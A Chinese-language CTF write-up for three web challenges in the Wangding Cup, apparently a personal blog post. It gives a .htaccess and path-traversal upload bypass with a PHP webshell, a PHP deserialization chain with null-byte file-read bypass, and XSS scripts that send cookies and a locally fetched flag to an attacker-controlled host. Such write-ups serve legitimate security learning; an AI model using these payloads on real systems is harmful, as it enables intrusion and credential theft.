0%

网鼎杯web-WP-AK

网鼎杯比赛感想

水浅王八多,python真是多。 白虎组也太卷了,金融行业尤其卷,能做出来crypto和web我能理解,pwn、reverse都是强项,比web还强,那是平常不干业务吗?难以理解,而且现在比赛都不是pwn爹了,那是pwn爷爷,ak了web,还做了misc和crypto,最后只有三四百分,一道pwn题就是400多分,一道pwn就能进线下。现在web狗真是没啥活路。

吐槽归吐槽,但是还是技不如人。不过这次白虎组web基本都做出来了。先记录下WP吧!

web

一共有三个web题目,都是序号形式的,下面我就随意命名了,主要是记录下思路。

绕过一堆限制进行文件上传

首先是扫描目录发现git泄漏。

核心函数在application controller里面,源码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
<?php
namespace app\index\controller;

class Index
{
public function index()
{
return '<form method="post" enctype="multipart/form-data" action='.url('index/index/upload').'>
<input type="file" name="hw_file">
<input type="submit" value="上传">';

}

public function upload()
{
if (request()->isPost()){
$file = $_FILES['hw_file']??'';
if(!$file){
return json(['code'=>0,'msg'=>'请选择文件']);
}
$file_name = $file['name'];
$file_tmp = $file['tmp_name'];
$file_size = $file['size'];
if ($file_size > 1024*1024*2){
return json(['code'=>0,'msg'=>'文件大小不能超过2M']);
}
$file_error = $file['error'];
if ($file_error > 0){
return json(['code'=>0,'msg'=>'上传失败']);
}
$file_type = $file['type'];
$file_ext = explode('.',$file_name);
$file_ext = strtolower(end($file_ext));
if(strstr($file_type, "image/")){
if($this->upload_as_image($file_ext, $file_tmp, "../uploads/images/".date('YmdHis')."/", ["gif"], request()->get("hw_file_name")??FALSE)){
return json(['code'=>1,'msg'=>'上传成功']);
} else {
return json(['code'=>0,'msg'=>'上传失败']);
}
} else {
if($this->upload_as_text($file_ext, $file_tmp, "../uploads/files/".date('YmdHis')."/", request()->get("hw_file_name")??FALSE)){
return json(['code'=>1,'msg'=>'上传成功']);
} else {
return json(['code'=>0,'msg'=>'上传失败']);
}
}
} else {
return json(['code'=>0,'msg'=>'请求方式错误']);
}
}

public function upload_as_image($image_type, $image_tmp_file, $upload_base_dir, $file_ext_black_list, $image_filename=FALSE)
{
if(in_array($image_type, $file_ext_black_list)){
return 0;
}
switch ($image_type) {
case 'jpg':
$image_ext = '.jpg';
break;
case 'png':
$image_ext = '.png';
break;
case 'gif':
$image_ext = '.gif';
break;
default:
$image_ext = '.jpg';
break;
}
$image_size = getimagesize($image_tmp_file);
$image_width = $image_size[0];
$image_height = $image_size[1];
if($image_width > 200 || $image_height > 200){
return 0;
}
if ($image_filename === FALSE) {
$image_filename = date('YmdHis') . rand(1000, 9999) . $image_ext;
} else {
$image_filename = $image_filename . $image_ext;
}
if(!file_exists($upload_base_dir)){
mkdir($upload_base_dir, 0777, true);
}
$image_file_path = $upload_base_dir . $image_filename;
rename($image_tmp_file, $image_file_path);
return 1;
}

public function upload_as_text($text_type, $text_tmp_file, $upload_base_dir, $text_filename=FALSE)
{
if(strstr($text_type, "ph") || in_array($text_type, ['php', 'html', 'js', 'css', 'sql', 'phtml', 'shtml', 'php5', 'php7', 'phtm', 'pht', 'php8', 'php4', '.htaccess', 'tpl'])){
return 0;
}
if (strstr($text_filename, ".") || strstr($text_filename, "/")) {
return 0;
}
if( strlen($text_type) == 0){
$text_ext = "";
} else {
//仅包含字母
if(!ctype_alpha($text_type)){
return 0;
}
$text_ext = "." . $text_type;
}
if ($text_filename === FALSE) {
$text_filename = date('YmdHis') . rand(1000, 9999) . $text_ext;
} else {
$text_filename = $text_filename . $text_ext;
}
if(strlen($text_filename) == 0 || strstr($text_filename, "/") ||!preg_match('/[A-Za-z0-9_]/is', $text_filename)){
return 0;
}
if(!file_exists($upload_base_dir)){
mkdir($upload_base_dir, 0777, true);
}
$text_file_path = $upload_base_dir . "/" . $text_filename;
rename($text_tmp_file, $text_file_path);
return 1;
}

}


这题目花里胡哨,其实挺简单的,主要还是考察细心,这里有两个上传处理的函数:1、upload_as_image 2、upload_as_text

其中upload_as_text看似过滤严格,但是黑名单中.htaccess这个加了一个.就导致这个后缀是可以饶过的。所以我们可以通过upload_as_text上传.htaccess进行文件上传的利用。

上传文件.htaccess

1
2
3
4
5
6
7
8
------WebKitFormBoundaryEjLloJDH5ErZUmS9
Content-Disposition: form-data; name="hw_file"; filename=".htaccess"
Content-Type: text/plain

<FilesMatch "test">
SetHandler application/x-httpd-php
</FilesMatch>
------WebKitFormBoundaryEjLloJDH5ErZUmS9--

目录需要遍历时间戳得到在/uploads/files/20220827113034/.htaccess

但是每次上传的这个时间戳都不一样,这就没办法使用.htaccess进行getshell,但是我们还有一个函数upload_as_image:

这个函数没有禁止进行目录翻阅,所以我们可以上传一个指定目录的test.jpg 进行getshell。

1
2
3
4
5
6
7
8
9
POST /public/index.php/index/index/upload.html?hw_file_name=../../files/20220827113034/test HTTP/1.1


------WebKitFormBoundaryEjLloJDH5ErZUmS9
Content-Disposition: form-data; name="hw_file"; filename="test.jpg"
Content-Type: image/plain

<?php echo "Shell";system($_GET['cmd']); ?>
------WebKitFormBoundaryEjLloJDH5ErZUmS9--

访问这个图片马去拿flag

php反序列化

首先打开题目就是源码,源码中有一个game参数是可以被反序列化的,所以只需要找一个利用链就行了。

源码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
<?php
class abaaba{
protected $DoNotGet;
public function __get($name){
$this->DoNotGet->$name = "two";
return $this->DoNotGet->$name;
}

public function __toString(){
return $this->Giveme;
}
}
class Onemore{

public $file;
private $filename;

public function __construct(){
$this->readfile("images/def.jpg");
$this->file="images/def.jpg";

}

public function readfile($f){
$this->file = isset($f) ? $f : 'image'.$this->file;
echo file_get_contents(safe($this->file));
}

public function __invoke(){
return $this->filename->Giveme;
}

}
class suhasuha{
private $Giveme;
public $action;

public function __set($name, $value){
$this->Giveme = ($this->action)();
return $this->Giveme;
}

}
class One{
public $count;

public function __construct(){
$this->count = "one";
}

public function __destruct(){
echo "try ".$this->count." again";
}
}
function safe($path){
$path = preg_replace("/.*\/\/.*/", "", $path);
$path = preg_replace("/\..\..*/", "!", $path);
$path = htmlentities($path);
return strip_tags($path);
}

if(isset($_GET['game'])){
unserialize($_GET['game']);
}
else{
show_source(__FILE__);
}

我是从下往上看的首先就看到了One这个类的destruct进行了字符串拼接,很明显就能想象到会调用__tostring函数,所以查找tostring发现类abaaba存在tostring,所以我们把$this->count 指向abaaba的对应对象上既可以进入abaaba。

然后abaaba类的tostring调用了一个不存在的属性(Giveme):

1
2
3
4
5
6
7
8
9
10
11
class abaaba{
protected $DoNotGet;
public function __get($name){
$this->DoNotGet->$name = "two";
return $this->DoNotGet->$name;
}

public function __toString(){
return $this->Giveme;
}
}-

调用不存在的属性时会调用__get魔术方法从而进行对$this->DoNotGet->$name的设置。而设置一个不存在的属性会调用魔术方法set,所以我们就关注下 类suhasuha:

1
2
3
4
5
6
7
8
9
10
class suhasuha{
private $Giveme;
public $action;

public function __set($name, $value){
$this->Giveme = ($this->action)();
return $this->Giveme;
}

}

suhasuha的set方法正好触发危险函数可以调用一个无参构造方法,所以我们可以将这个方法设为类Onemore的readfile,尽管readfile有参数,但是无参也是可以执行的 会走到image拼接路径那一步:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
class Onemore{

public $file;
private $filename;

public function __construct(){
$this->readfile("images/def.jpg");
$this->file="images/def.jpg";
}
public function readfile($f){
$this->file = isset($f) ? $f : 'image'.$this->file;
echo file_get_contents(safe($this->file));
}
public function __invoke(){
return $this->filename->Giveme;
}

}

如何制定action调用类的指定方法呢?

用数组:$this->action=array(new Onemore(),”readfile”);

然后我们设定Onemore类中的file参数就能进行任意目录文件读取,但是safe中过滤了一些参数,好像是不能饶过,但是可以通过00饶过

1
$Onemore->file = "..\x00/..\x00/..\x00/..\x00/..\x00/..\x00/..\x00/..\x00/..\x00/..\x00/..\x00/..\x00/flag";

我们的思路整理完了,但是如果我们直接生成对象并根据思路进行赋值时会发现报错:

类abaaba的DoNotGet属性时protected的,是无法外部赋值的,对于这种私有和保护的属性进行处理时,如果他不是序列化中必须的参数,可以直接删除,如果必须要用到且是无法外部调用的,那么我们就可以使用__construct构造函数进行内部赋值,也就是说可以直接在new对象的时候就完成属性赋值。

最终的payload:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
<?php
class abaaba{
protected $DoNotGet;
public function __get($name){
$this->DoNotGet->$name = "two";
return $this->DoNotGet->$name;
}

public function __toString(){
return $this->Giveme;
}

public function __construct(){
$suhasuha = new suhasuha();
$Onemore = new Onemore();
$Onemore->file = "..\x00/..\x00/flag.php";
$suhasuha->action = array($Onemore,"readfile");
$this->DoNotGet = $suhasuha;
}
}
class Onemore{
public $file;
# private 修改
private $filename;

public function __construct(){
$this->readfile("images/def.jpg");
$this->file="images/def.jpg";

}

public function readfile($f){
$this->file = isset($f) ? $f : 'image'.$this->file;
echo file_get_contents(safe($this->file));
}

public function __invoke(){
return $this->filename->Giveme;
}

}
class suhasuha{
private $Giveme;
public $action;

public function __set($name, $value){
$this->Giveme = ($this->action)();
return $this->Giveme;
}

}
class One{
public $count;

public function __construct(){
$this->count = "one";
}

public function __destruct(){
echo "try ".$this->count." again";
}
}
function safe($path){
$path = preg_replace("/.*\/\/.*/", "", $path);
$path = preg_replace("/\..\..*/", "!", $path);
$path = htmlentities($path);
return strip_tags($path);
}

if(isset($_GET['game'])){
unserialize($_GET['game']);
}
else{
show_source(__FILE__);
}

$one = new One();
$abaaba = new abaaba();
$one->count = $abaaba;


echo "-------------------------";
echo urlencode(serialize($one));

xss盲打和本地请求伪造

这道题目其实挺简单的先xss打cookie,我这里使用的是如下payload(这个不唯一):

1
2
3
<script>
document.location="http://xxxx.xxx.com/cookie.php?c="%2bdocument.cookie;
</script>

得到提示:GET /a?cookie=hint=Visit%20/g3t_fl4g%20to%20get%20flag HTTP/1.1

我们直接访问/g3t_fl4g提示本地访问,一般来说我们的这个伪造本地header中只有以下几种方法:

1
2
3
4
5
X-Originating-IP: 127.0.0.1
X-Forwarded-For: 127.0.0.1
X-Remote-IP: 127.0.0.1
X-Remote-Addr: 127.0.0.1
Client-IP: 127.0.0.1

但是这里都不行,再结合xss可以想到是利用xss伪造管理员本地发一个请求,再把响应携带出来,很容易就想到用AJAX。

但是这里对XMLHttpRequest有过滤,我们只需要简单的饶过一下即可:

1
2
3
4
5
6
7
8
9
10
11
12
13
<script>
var ajx = eval("new XMLH"+"ttpR"+"equest");//拼接绕过。
ajx.open("GET","/g3t_fl4g",true);
ajx.send();
ajx.onreadystatechange = function () {
if(ajx.readyState === 4) {
if(ajx.status == 200) {
ajx.open("GET","http://VPS:5555/?flag=" + ajx.responseText,true);
ajx.send();
}
}
};
</script>

我们的vps上面就会收到flag了。

结束语

web狗真是没啥出路,卷不动CTF了。


采用署名-非商业性使用-相同方式共享 4.0(CC BY-NC-SA 4.0)许可协议
「分享也是一种学习」